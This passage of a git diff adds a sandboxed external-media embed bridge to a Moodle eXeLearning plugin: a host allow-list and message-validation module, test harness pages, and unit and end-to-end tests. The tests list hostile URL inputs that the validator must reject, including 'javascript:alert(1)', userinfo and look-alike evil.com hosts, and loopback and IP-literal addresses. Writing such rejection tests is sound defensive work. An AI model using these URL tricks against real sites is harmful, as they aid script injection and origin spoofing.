+ * project relicensing it. GPLv3 s13 and AGPLv3 s13 already permit COMBINING the
+ * two, but combining never relicenses a file: only the copyright holder can offer
+ * it under both, which is what this grant does. Keep this notice in every mirror.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(function (root) {
+    'use strict';
+
+    var TYPE = 'exe-media';
+    var VERSION = 1;
+
+    // Bare-id shapes. YouTube ids are exactly 11 url-safe chars; Vimeo ids are numeric.
+    var ID_RE = {
+        youtube: /^[A-Za-z0-9_-]{11}$/,
+        vimeo: /^[0-9]{6,12}$/,
+    };
+
+    // Host allow-lists per provider. Anything else never matches a provider, so IPs,
+    // loopback, *.local and look-alike domains (evil.com/watch?v=...) cannot slip in.
+    var YOUTUBE_HOSTS = {
+        'youtube.com': 1,
+        'www.youtube.com': 1,
+        'm.youtube.com': 1,
+        'music.youtube.com': 1,
+        'youtube-nocookie.com': 1,
+        'www.youtube-nocookie.com': 1,
+    };
+    var YOUTU_BE_HOSTS = { 'youtu.be': 1, 'www.youtu.be': 1 };
+    var VIMEO_HOSTS = { 'vimeo.com': 1, 'www.vimeo.com': 1 };
+    var VIMEO_PLAYER_HOSTS = { 'player.vimeo.com': 1 };
+
+    // Closed action enums. Anything outside these is dropped before any work happens.
+    var COMMANDS = { open: 1, play: 1, pause: 1, seek: 1, getCurrentTime: 1, getDuration: 1, hide: 1, show: 1, close: 1 };
+    var EVENTS = { ready: 1, play: 1, pause: 1, ended: 1, timeupdate: 1, seeked: 1, state: 1, error: 1, closed: 1 };
+
+    function isObject(v) {
+        return v !== null && typeof v === 'object';
+    }
+
+    function finiteNonNeg(n) {
+        return typeof n === 'number' && isFinite(n) && n >= 0;
+    }
+
+    function isAllowedProvider(provider) {
+        return provider === 'youtube' || provider === 'vimeo';
+    }
+
+    function isValidVideoId(provider, id) {
+        var re = ID_RE[provider];
+        return !!re && typeof id === 'string' && re.test(id);
+    }
+
+    /**
+     * Build the canonical, privacy-friendly embed URL for a provider id. Returns null
+     * for unknown providers or ids that fail the provider's shape — so a malicious id
+     * can never be templated into a live URL.
+     */
+    function canonicalEmbedUrl(provider, id) {
+        if (provider === 'youtube' && isValidVideoId('youtube', id)) {
+            return 'https://www.youtube-nocookie.com/embed/' + id;
+        }
+        if (provider === 'vimeo' && isValidVideoId('vimeo', id)) {
+            return 'https://player.vimeo.com/video/' + id;
+        }
+        return null;
+    }
+
+    function firstPathSegment(pathname) {
+        var parts = pathname.split('/');
+        for (var i = 0; i < parts.length; i++) {
+            if (parts[i]) return parts[i];
+        }
+        return '';
+    }
+
+    function youtubeIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (YOUTU_BE_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        if (YOUTUBE_HOSTS[host]) {
+            var v = u.searchParams.get('v');
+            if (v) return v;
+            var m = u.pathname.match(/^\/(?:embed|v|shorts)\/([^/?#]+)/);
+            if (m) return m[1];
+        }
+        return '';
+    }
+
+    function vimeoIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (VIMEO_PLAYER_HOSTS[host]) {
+            var m = u.pathname.match(/^\/video\/([0-9]+)/);
+            if (m) return m[1];
+        }
+        if (VIMEO_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        return '';
+    }
+
+    function descriptor(provider, id, originalUrl, embedUrl, extra) {
+        var d = {
+            provider: provider,
+            providerVideoId: id,
+            originalUrl: originalUrl,
+            embedUrl: embedUrl,
+            aspectRatio: provider === 'pdf' ? undefined : '16:9',
+            interactive: false,
+            requiresBridge: provider !== 'pdf',
+        };
+        if (extra && extra.title) d.title = extra.title;
+        return d;
+    }
+
+    /**
+     * Normalize a URL string or an element (iframe/anchor) into a neutral media
+     * descriptor, or null when it is not a supported external embed.
+     */
+    function parseExternalMedia(input) {
+        var url = input;
+        var title;
+        if (input && typeof input.getAttribute === 'function') {
+            url = input.getAttribute('src') || input.getAttribute('href') || '';
+            title = input.getAttribute('title') || undefined;
+        }
+        if (typeof url !== 'string' || !url) return null;
+
+        var u;
+        try {
+            u = new URL(url);
+        } catch (e) {
+            return null;
+        }
+        // Reject userinfo (https://user@host/...) and non-web schemes outright.
+        if (u.username || u.password) return null;
+        if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
+
+        var ytId = youtubeIdFromUrl(u);
+        if (ytId) {
+            if (!isValidVideoId('youtube', ytId)) return null;
+            return descriptor('youtube', ytId, url, canonicalEmbedUrl('youtube', ytId), { title: title });
+        }
+
+        var vId = vimeoIdFromUrl(u);
+        if (vId) {
+            if (!isValidVideoId('vimeo', vId)) return null;
+            return descriptor('vimeo', vId, url, canonicalEmbedUrl('vimeo', vId), { title: title });
+        }
+
+        if (u.pathname.toLowerCase().slice(-4) === '.pdf') {
+            return descriptor('pdf', null, url, url, { title: title });
+        }
+
+        return null;
+    }
+
+    function hasEnvelope(d) {
+        return isObject(d) && d.type === TYPE && d.v === VERSION;
+    }
+
+    function isHello(d) {
+        return hasEnvelope(d) && d.action === 'hello' && typeof d.helloId === 'string' && d.helloId.length > 0;
+    }
+
+    function isWelcome(d) {
+        return (
+            hasEnvelope(d) &&
+            d.action === 'welcome' &&
+            typeof d.helloId === 'string' &&
+            typeof d.exelearningBridge === 'string' &&
+            d.exelearningBridge.length > 0
+        );
+    }
+
+    /**
+     * Validate a child→parent command. Defense in depth: envelope + a present, matching
+     * nonce (the `!!expectedNonce` guard prevents an absent expected nonce from ever
+     * authenticating a forged message) + closed action enum + per-action payload checks.
+     */
+    function validateCommand(d, expectedNonce) {
+        if (!hasEnvelope(d)) return false;
+        if (!expectedNonce) return false;
+        if (typeof d.exelearningBridge !== 'string' || d.exelearningBridge !== expectedNonce) return false;
+        if (!COMMANDS[d.action]) return false;
+        switch (d.action) {
+            case 'open':
+                return (
+                    Number.isInteger(d.reqId) &&
+                    isAllowedProvider(d.provider) &&
+                    isValidVideoId(d.provider, d.videoId) &&
+                    (d.start == null || finiteNonNeg(d.start))
+                );
+            case 'seek':
+                return finiteNonNeg(d.t);
+            case 'getCurrentTime':
+            case 'getDuration':
+                return Number.isInteger(d.reqId);
+            default:
+                return true; // play / pause / hide / show / close — no payload
+        }
+    }
+
+    /**
+     * Validate a parent→child event. Same envelope + closed enum + per-action payload.
+     */
+    function validateEvent(d) {
+        if (!hasEnvelope(d)) return false;
+        if (!EVENTS[d.action]) return false;
+        switch (d.action) {
+            case 'timeupdate':
+                return finiteNonNeg(d.currentTime) && finiteNonNeg(d.duration);
+            case 'seeked':
+                return finiteNonNeg(d.currentTime);
+            case 'state':
+                return Number.isInteger(d.reqId);
+            case 'ready':
+                return d.duration == null || finiteNonNeg(d.duration);
+            case 'error':
+                return typeof d.code === 'string' && typeof d.fatal === 'boolean';
+            default:
+                return true; // play / pause / ended / closed
+        }
+    }
+
+    var api = {
+        TYPE: TYPE,
+        VERSION: VERSION,
+        COMMANDS: COMMANDS,
+        EVENTS: EVENTS,
+        parseExternalMedia: parseExternalMedia,
+        canonicalEmbedUrl: canonicalEmbedUrl,
+        isAllowedProvider: isAllowedProvider,
+        isValidVideoId: isValidVideoId,
+        isHello: isHello,
+        isWelcome: isWelcome,
+        validateCommand: validateCommand,
+        validateEvent: validateEvent,
+    };
+
+    root.exeMediaPolicy = api;
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/tests/e2e/embed/local.pdf b/tests/e2e/embed/local.pdf
new file mode 100644
index 0000000..314e46d
Binary files /dev/null and b/tests/e2e/embed/local.pdf differ
diff --git a/tests/e2e/embed/parent-media.html b/tests/e2e/embed/parent-media.html
new file mode 100644
index 0000000..a6f2141
--- /dev/null
+++ b/tests/e2e/embed/parent-media.html
@@ -0,0 +1,18 @@
+<!doctype html>
+<!--
+  E2E harness — the "parent" half for the interactive-video media bridge (DEC-110-01).
+  The trusted host page. Embeds the content in an opaque-origin sandboxed iframe and runs
+  mod's own parent-side media host (exe_media_policy.js + exe_media_host.js), exactly like
+  view.php wires it in secure mode. The host completes the capability handshake and opens
+  the provider player in a modal, driven by RAW postMessage (no third-party SDK).
+-->
+<html><head><meta charset="utf-8">
+<style>#wrap{position:relative;width:560px;height:420px}#content{width:100%;height:100%;border:0}</style>
+</head><body>
+<div id="wrap">
+    <iframe id="content" sandbox="allow-scripts" src="content-media.html"></iframe>
+</div>
+<script src="/tests/e2e/embed/exe_media_policy.js"></script>
+<script src="/tests/e2e/embed/exe_media_host.js"></script>
+<script>window.exeMediaHost.attach(document.getElementById('content'), {});</script>
+</body></html>
diff --git a/tests/e2e/embed/parent-nohost.html b/tests/e2e/embed/parent-nohost.html
new file mode 100644
index 0000000..11d9a30
--- /dev/null
+++ b/tests/e2e/embed/parent-nohost.html
@@ -0,0 +1,17 @@
+<!doctype html>
+<!--
+  E2E harness — the "no host" half. Same opaque-origin sandboxed content as
+  parent.html, but this page loads NO relay, exactly like exported content opened
+  in a third-party page, an ePub reader or straight off the filesystem.
+
+  The shim must leave the author's iframes alone. Promoting here would replace them
+  with geometry placeholders nobody can ever fill: a permanent black box, strictly
+  worse than an unprotected embed and invisible to whoever published the package.
+-->
+<html><head><meta charset="utf-8">
+<style>#wrap{position:relative;width:520px;height:760px}#content{width:100%;height:100%;border:0}</style>
+</head><body>
+<div id="wrap">
+    <iframe id="content" sandbox="allow-scripts" src="content.html"></iframe>
+</div>
+</body></html>
diff --git a/tests/e2e/embed/parent.html b/tests/e2e/embed/parent.html
new file mode 100644
index 0000000..f2b2884
--- /dev/null
+++ b/tests/e2e/embed/parent.html
@@ -0,0 +1,25 @@
+<!doctype html>
+<!--
+  E2E harness — the "parent" half (the trusted host page).
+  Loads the real parent relay (js/exe_embed_relay.js) and embeds the content in an
+  opaque-origin sandboxed iframe (sandbox="allow-scripts", no allow-same-origin),
+  exactly like the player iframe in secure mode.
+-->
+<html><head><meta charset="utf-8">
+<script>
+window.ExeEmbedRelayConfig = { whitelist: [
+    'www.youtube.com', 'youtube.com', 'www.youtube-nocookie.com',
+    'youtube-nocookie.com', 'player.vimeo.com', 'vimeo.com',
+    'www.dailymotion.com', 'dailymotion.com', 'geo.dailymotion.com',
+    'mediateca.educa.madrid.org'
+] };
+</script>
+<style>#wrap{position:relative;width:520px;height:760px}#content{width:100%;height:100%;border:0}</style>
+</head><body>
+<div id="wrap">
+    <iframe id="content" sandbox="allow-scripts" src="content.html"></iframe>
+</div>
+<script src="/js/exe_embed_relay.js"></script>
+<!-- mod's relay is dual-export and does not auto-run; view.php bootstraps it the same way. -->
+<script>window.exeEmbedRelay.init(window.ExeEmbedRelayConfig);</script>
+</body></html>
diff --git a/tests/e2e/media-host.spec.cjs b/tests/e2e/media-host.spec.cjs
new file mode 100644
index 0000000..6632b52
--- /dev/null
+++ b/tests/e2e/media-host.spec.cjs
@@ -0,0 +1,48 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Cross-browser e2e for the interactive-video / video-quiz media bridge (DEC-110-01), run in
+// Firefox via playwright-embed.config.cjs. A self-contained harness (no Moodle needed): the
+// opaque-origin sandboxed content runs the real eXeLearning child runtime
+// (exe_media_bridge.js) and calls window.exeMediaBridge.openMedia() — exactly what the
+// interactive-video and quick-questions-video iDevices do in secure mode — and the trusted
+// parent runs mod's own exe_media_host.js. The host completes the capability handshake
+// (window identity + nonce + transferred MessagePort) and opens the provider player in a
+// modal, controlled by RAW postMessage (enablejsapi=1), NOT the YouTube IFrame API.
+
+const { test, expect } = require('@playwright/test');
+
+test('interactive-video bridge: child openMedia() opens a host modal with a raw youtube-nocookie player, no SDK (Firefox)', async ({ page }) => {
+    await page.goto('/tests/e2e/embed/parent-media.html');
+
+    // The host opened its accessible modal in response to the validated 'open' command.
+    const modal = page.locator('dialog.exe-media-modal');
+    await expect.poll(() => modal.count(), { timeout: 15000 }).toBe(1);
+
+    // The modal holds the real provider player, built by the raw-postMessage adapter from
+    // the canonical {provider, videoId} (the child never passed a URL).
+    const player = modal.locator('iframe');
+    await expect.poll(() => player.count(), { timeout: 15000 }).toBeGreaterThan(0);
+
+    const src = await player.first().getAttribute('src');
+    // Canonical, privacy-friendly URL rebuilt by the host from the bare id.
+    expect(src).toMatch(/^https:\/\/www\.youtube-nocookie\.com\/embed\/aqz-KE-bpKQ\b/);
+    // enablejsapi=1 => the host drives the player by RAW postMessage, not the IFrame API.
+    expect(src).toContain('enablejsapi=1');
+
+    // The trusted parent page never loaded the YouTube IFrame API or the Vimeo SDK.
+    expect(await page.evaluate(() => typeof window.YT)).toBe('undefined');
+    expect(await page.evaluate(() => typeof window.Vimeo)).toBe('undefined');
+});
diff --git a/tests/js/embed_scorm_coexistence.test.js b/tests/js/embed_scorm_coexistence.test.js
new file mode 100644
index 0000000..4a4ada5
--- /dev/null
+++ b/tests/js/embed_scorm_coexistence.test.js
@@ -0,0 +1,69 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Regression guard (DEC-80-03 + DEC-80-01): in secure mode the package now loads BOTH
+// the SCORM bridge (scoring) AND the external-embed shim/relay. They must coexist —
+// the embed feature must not break SCORM score saving. Side-effect imports in the
+// same load order as production (tracker → scorm shim → scorm relay → embed shim →
+// embed relay). globals (describe/it/expect) come from vitest.config.mjs.
+import '../../js/scorm_tracker.js';
+import '../../js/scorm_bridge_shim.js';
+import '../../js/scorm_bridge_relay.js';
+import '../../js/exe_embed_shim.js';
+import '../../js/exe_embed_relay.js';
+
+const scormRelay = window.exeScormBridge;
+const embedRelay = window.exeEmbedRelay;
+
+describe('embed feature does not break the SCORM bridge', () => {
+    it('keeps every bridge + embed global defined and distinct (no clobbering)', () => {
+        expect(window.exeScormTracker).toBeTruthy();
+        expect(window.exeScormBridgeShim).toBeTruthy();
+        expect(window.exeScormBridge).toBeTruthy();
+        expect(window.exeEmbedShim).toBeTruthy();
+        expect(window.exeEmbedRelay).toBeTruthy();
+        expect(window.exeScormBridge).not.toBe(window.exeEmbedRelay);
+        expect(window.exeScormBridgeShim).not.toBe(window.exeEmbedShim);
+    });
+
+    it('still accepts a SCORM track message (scoring path) with the embed modules loaded', () => {
+        const track = {
+            type: 'scorm',
+            action: 'track',
+            cmi: { 'cmi.core.score.raw': '80' },
+            exelearningBridge: 'N1',
+        };
+        expect(scormRelay.isTrackMessage(track)).toBe(true);
+        expect(scormRelay.acceptTrack(track, 'N1')).toBe(true);
+        // Wrong nonce is still rejected (the embed code did not weaken validation).
+        expect(scormRelay.acceptTrack(track, 'OTHER')).toBe(false);
+    });
+
+    it('the two bridges ignore each other’s message types', () => {
+        // The SCORM relay never treats an embed message as a score.
+        expect(scormRelay.isTrackMessage({ type: 'exe-embed', action: 'sync', embeds: [] })).toBe(false);
+        // The embed relay still validates a real embed URL (its own channel works).
+        // Open mode (default): any cross-origin https iframe is accepted verbatim.
+        const ok = embedRelay.validate('https://www.youtube.com/embed/abc123', 'http://x/content/1/index.html');
+        expect(ok).toEqual({ url: 'https://www.youtube.com/embed/abc123', kind: 'video' });
+    });
+
+    it('the embed relay does not act on a SCORM track message (no overlay created)', () => {
+        const r = embedRelay.createRelay({ whitelist: ['www.youtube.com'] });
+        const before = document.querySelectorAll('.exe-embed-overlay').length;
+        r.onMessage({ source: {}, data: { type: 'scorm', action: 'track', cmi: {}, exelearningBridge: 'N1' } });
+        expect(document.querySelectorAll('.exe-embed-overlay').length).toBe(before);
+    });
+});
diff --git a/tests/js/exe_embed.test.js b/tests/js/exe_embed.test.js
new file mode 100644
index 0000000..713b636
--- /dev/null
+++ b/tests/js/exe_embed.test.js
@@ -0,0 +1,474 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+// Unit tests for the secure-mode external-embed shim + relay (DEC-80-03). The shim
+// (in-iframe) promotes any cross-origin https / .pdf iframe; the relay (parent) is the
+// authoritative gate: in 'open' mode the structural invariant (https + cross-origin to
+// the LMS), in 'strict' mode the maintained host allowlist. Side-effect imports expose
+// the API on window.* (and module.exports); globals come from vitest.config.mjs.
+import '../../js/exe_embed_shim.js';
+import '../../js/exe_embed_relay.js';
+
+const shim = window.exeEmbedShim;
+const relay = window.exeEmbedRelay;
+
+const HOSTS = [
+    'www.youtube.com', 'youtube.com', 'www.youtube-nocookie.com',
+    'youtube-nocookie.com', 'player.vimeo.com', 'vimeo.com',
+    'www.dailymotion.com', 'dailymotion.com', 'geo.dailymotion.com',
+    'mediateca.educa.madrid.org',
+];
+const STRICT = { strict: true, whitelist: relay.buildWhitelist(HOSTS) };
+const ORIGIN = window.location.origin;       // happy-dom default (the "LMS" origin here).
+const CONTENT_SRC = ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/index.html';
+
+describe('exe_embed_relay validate() — open mode (default): structural invariant', () => {
+    it('accepts any cross-origin https video iframe verbatim (no host list, no reconstruction)', () => {
+        expect(relay.validate('https://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC))
+            .toEqual({ url: 'https://www.youtube.com/embed/aqz-KE-bpKQ', kind: 'video' });
+        expect(relay.validate('https://some-new-provider.example/player/42', CONTENT_SRC))
+            .toEqual({ url: 'https://some-new-provider.example/player/42', kind: 'video' });
+    });
+
+    it('rejects same-origin (the LMS itself)', () => {
+        expect(relay.validate(ORIGIN + '/course/view.php?id=2', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects non-https', () => {
+        expect(relay.validate('http://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects userinfo (https://evil.com@youtube.com/...)', () => {
+        expect(relay.validate('https://evil.com@www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects IP-literal and loopback/local hosts', () => {
+        expect(relay.validate('https://1.2.3.4/player', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('https://[2001:db8::1]/player', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('https://localhost/player', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('https://intranet.local/player', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects non-http(s) schemes (data:/javascript:/blob:)', () => {
+        expect(relay.validate('data:text/html,<h1>x</h1>', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('javascript:alert(1)', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('blob:https://x.test/uuid', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects a relative URL (the shim must report absolute)', () => {
+        expect(relay.validate('files/local.pdf', CONTENT_SRC)).toBeNull();
+        expect(relay.validate('/admin/secret', CONTENT_SRC)).toBeNull();
+    });
+});
+
+describe('exe_embed_relay validate() — PDFs (always allowed by structure)', () => {
+    it('accepts any cross-origin https PDF (no sameorigin flag)', () => {
+        expect(relay.validate('https://example.com/docs/report.pdf', CONTENT_SRC))
+            .toEqual({ url: 'https://example.com/docs/report.pdf', kind: 'pdf' });
+    });
+
+    it('accepts a same-origin PDF under the content directory (flagged sameorigin)', () => {
+        const pdf = ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/files/local.pdf';
+        expect(relay.validate(pdf, CONTENT_SRC)).toEqual({ url: pdf, kind: 'pdf', sameorigin: true });
+    });
+
+    it('rejects a same-origin PDF outside the package (e.g. an admin route)', () => {
+        expect(relay.validate(ORIGIN + '/admin/secret.pdf', CONTENT_SRC)).toBeNull();
+    });
+
+    it('rejects an http PDF', () => {
+        expect(relay.validate('http://example.com/x.pdf', CONTENT_SRC)).toBeNull();
+    });
+});
+
+describe('exe_embed_relay validate() — strict mode (opt-in allowlist)', () => {
+    it('rebuilds the canonical youtube-nocookie URL from a youtube.com embed', () => {
+        expect(relay.validate('https://www.youtube.com/embed/aqz-KE-bpKQ', CONTENT_SRC, STRICT))
+            .toEqual({ url: 'https://www.youtube-nocookie.com/embed/aqz-KE-bpKQ', kind: 'video' });
+    });
+
+    it('rebuilds the canonical Vimeo / Dailymotion / EducaMadrid URLs', () => {
+        expect(relay.validate('https://player.vimeo.com/video/76979871', CONTENT_SRC, STRICT).url)
+            .toBe('https://player.vimeo.com/video/76979871');
+        expect(relay.validate('https://www.dailymotion.com/embed/video/x8abc12', CONTENT_SRC, STRICT).url)
+            .toBe('https://www.dailymotion.com/embed/video/x8abc12');
+        expect(relay.validate('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh', CONTENT_SRC, STRICT).url)
+            .toBe('https://mediateca.educa.madrid.org/video/u555bvi3bk5wsabh/fs');
+    });
+
+    it('rejects a non-whitelisted cross-origin https host (unlike open mode)', () => {
+        expect(relay.validate('https://some-new-provider.example/player/42', CONTENT_SRC, STRICT)).toBeNull();
+        expect(relay.validate('https://example.com/', CONTENT_SRC, STRICT)).toBeNull();
+    });
+
+    it('rejects look-alike hosts and malformed ids', () => {
+        expect(relay.validate('https://www.youtube.com.evil.com/embed/aqz-KE-bpKQ', CONTENT_SRC, STRICT)).toBeNull();
+        expect(relay.validate('https://www.youtube.com/embed/', CONTENT_SRC, STRICT)).toBeNull();
+        expect(relay.validate('https://player.vimeo.com/video/not-a-number', CONTENT_SRC, STRICT)).toBeNull();
+    });
+
+    it('still accepts cross-origin PDFs in strict mode', () => {
+        expect(relay.validate('https://example.com/x.pdf', CONTENT_SRC, STRICT))
+            .toEqual({ url: 'https://example.com/x.pdf', kind: 'pdf' });
+    });
+});
+
+describe('exe_embed_relay structural helpers', () => {
+    it('isIpOrLocalHost flags IP literals and loopback/local names', () => {
+        ['1.2.3.4', '255.0.0.1', '[::1]', '[2001:db8::1]', 'localhost', 'x.localhost', 'host.local', ''].forEach(
+            (h) => expect(relay.isIpOrLocalHost(h)).toBe(true)
+        );
+        ['youtube.com', 'player.vimeo.com', 'example.org'].forEach(
+            (h) => expect(relay.isIpOrLocalHost(h)).toBe(false)
+        );
+    });
+
+    it('isRelatedToLms flags the LMS host, its subdomains and superdomains (dotted boundary)', () => {
+        expect(relay.isRelatedToLms('lms.example.org', 'lms.example.org')).toBe(true);   // equal
+        expect(relay.isRelatedToLms('cdn.lms.example.org', 'lms.example.org')).toBe(true); // subdomain
+        expect(relay.isRelatedToLms('example.org', 'lms.example.org')).toBe(true);        // superdomain
+        expect(relay.isRelatedToLms('evil-lms.example.org', 'lms.example.org')).toBe(false); // look-alike
+        expect(relay.isRelatedToLms('youtube.com', 'lms.example.org')).toBe(false);
+    });
+
+    it('isRelatedToLms normalises the trailing-dot FQDN-root form (no host. bypass)', () => {
+        // 'lms.example.org.' resolves to the same vhost but compares unequal as a raw
+        // string; without normalisation it would slip past the related-to-LMS gate and
+        // be promoted as a cross-origin player with allow-same-origin.
+        expect(relay.isRelatedToLms('lms.example.org.', 'lms.example.org')).toBe(true);   // dotted host
+        expect(relay.isRelatedToLms('lms.example.org', 'lms.example.org.')).toBe(true);   // dotted lmsHost
+        expect(relay.isRelatedToLms('cdn.lms.example.org.', 'lms.example.org')).toBe(true); // dotted subdomain
+        expect(relay.normalizeHost('LMS.Example.ORG.')).toBe('lms.example.org');
+    });
+});
+
+describe('exe_embed_shim promotion decisions', () => {
+    it('isPdfUrl detects .pdf paths (ignoring the query)', () => {
+        expect(shim.isPdfUrl('https://x.test/a/b.pdf')).toBe(true);
+        expect(shim.isPdfUrl('https://x.test/a/b.pdf?download=1')).toBe(true);
+        expect(shim.isPdfUrl('https://x.test/a/b.html')).toBe(false);
+    });
+
+    it('isPromotable: any cross-origin https or .pdf yes; same-origin / http no', () => {
+        expect(shim.isPromotable('https://www.youtube.com/embed/x12345')).toBe(true);
+        expect(shim.isPromotable('https://anything.example/player')).toBe(true);
+        expect(shim.isPromotable('https://files.test/manual.pdf')).toBe(true);
+        expect(shim.isPromotable('files/local.pdf')).toBe(true);              // relative .pdf
+        expect(shim.isPromotable(ORIGIN + '/course/view.php')).toBe(false);   // same-origin, not pdf
+        expect(shim.isPromotable('http://www.youtube.com/embed/x')).toBe(false); // not https
+    });
+
+    it('promote() replaces cross-origin/PDF iframes and leaves same-origin ones', () => {
+        // Scan a DETACHED container so happy-dom never navigates the iframe srcs.
+        const root = document.createElement('div');
+        root.innerHTML =
+            '<iframe id="yt" src="https://www.youtube.com/embed/aqz-KE-bpKQ" width="560" height="315"></iframe>' +
+            '<iframe id="pdf" src="https://example.com/x.pdf" width="600" height="400"></iframe>' +
+            '<iframe id="same" src="' + ORIGIN + '/local/page.html" width="320" height="120"></iframe>';
+
+        const created = shim.promote(root, { n: 0 });
+
+        expect(created.length).toBe(2);
+        expect(root.querySelector('#same')).not.toBeNull();   // same-origin survives
+        expect(root.querySelector('#yt')).toBeNull();
+        expect(root.querySelector('#pdf')).toBeNull();
+
+        const ph = created[0];
+        expect(ph.getAttribute('data-exe-embed-id')).toBe('exe-embed-1');
+        expect(ph.getAttribute('data-exe-embed-url')).toContain('youtube.com');
+        expect(ph.style.width).toBe('560px');
+        expect(ph.style.height).toBe('315px');
+    });
+
+    it('reports a RELATIVE src as an absolute URL (the parent relay cannot resolve relatives)', () => {
+        const root = document.createElement('div');
+        root.innerHTML = '<iframe id="lpdf" src="files/local-sample.pdf" width="600" height="400"></iframe>';
+
+        const created = shim.promote(root, { n: 0 });
+
+        expect(created.length).toBe(1);
+        const reported = created[0].getAttribute('data-exe-embed-url');
+        expect(reported).toMatch(/^https?:\/\//);
+        expect(reported).toMatch(/files\/local-sample\.pdf$/);
+    });
+});
+
+describe('exe_embed_relay makePlayer() — sandboxed players', () => {
+    it('video player is sandboxed with allow-same-origin but NOT top-navigation/modals', () => {
+        const frame = relay.makePlayer({ url: 'https://www.youtube.com/embed/abc123', kind: 'video' });
+        const sb = frame.getAttribute('sandbox');
+        expect(sb).toContain('allow-scripts');
+        expect(sb).toContain('allow-same-origin');   // cross-origin src keeps its own origin; renders.
+        expect(sb).not.toContain('allow-top-navigation');
+        expect(sb).not.toContain('allow-modals');
+        expect(frame.getAttribute('data-exe-embed-player')).toBe('1'); // excluded from message auth
+        expect(frame.getAttribute('allow')).toContain('autoplay');
+        expect(frame.getAttribute('referrerpolicy')).toBe('strict-origin-when-cross-origin');
+    });
+
+    it('cross-origin PDF player is sandboxed WITHOUT top-navigation/scripts (cannot redirect the tab)', () => {
+        // A server can serve scripted HTML at a .pdf path; the sandbox stops it top-navigating
+        // the Moodle tab. allow-same-origin keeps the provider origin (SOP-isolated).
+        const frame = relay.makePlayer({ url: 'https://files.test/manual.pdf', kind: 'pdf' });
+        const sb = frame.getAttribute('sandbox');
+        expect(sb).not.toBeNull();
+        expect(sb).toContain('allow-same-origin');
+        expect(sb).not.toContain('allow-top-navigation');
+        expect(sb).not.toContain('allow-scripts');
+        expect(frame.getAttribute('referrerpolicy')).toBe('no-referrer');
+    });
+
+    it('same-origin package PDF is left unsandboxed (served application/pdf, the viewer needs it)', () => {
+        const frame = relay.makePlayer({ url: ORIGIN + '/pluginfile.php/5/mod_exelearning/content/3/files/local.pdf', kind: 'pdf', sameorigin: true });
+        expect(frame.hasAttribute('sandbox')).toBe(false);
+        expect(frame.getAttribute('referrerpolicy')).toBe('no-referrer');
+    });
+});
+
+describe('exe_embed_relay createRelay() overlays players from messages', () => {
+    let iframe;
+    beforeEach(() => {
+        document.body.innerHTML = '';
+        iframe = document.createElement('iframe');
+        document.body.appendChild(iframe);
+    });
+
+    it('creates an inline overlay player for a valid embed and removes it when no longer reported', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'e1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
+        const players = document.querySelectorAll('.exe-embed-overlay iframe');
+        expect(players.length).toBe(1);
+        expect(players[0].src).toMatch(/www\.youtube\.com\/embed\/abc123$/);   // verbatim in open mode
+
+        r.onMessage({ source: iframe.contentWindow, data: { type: 'exe-embed', action: 'sync', embeds: [] } });
+        expect(document.querySelectorAll('.exe-embed-overlay iframe').length).toBe(0);
+    });
+
+    it('replaces the player when a reused embed id navigates to a different URL (no lingering video)', () => {
+        const r = relay.createRelay({ mode: 'open' });
+        r.onMessage({
+            source: iframe.contentWindow,
+            data: {
+                type: 'exe-embed', action: 'sync',
+                embeds: [{ id: 'exe-embed-1', url: 'https://www.youtube.com/embed/abc123', x: 0, y: 0, w: 480, h: 270 }],
+            },
+        });
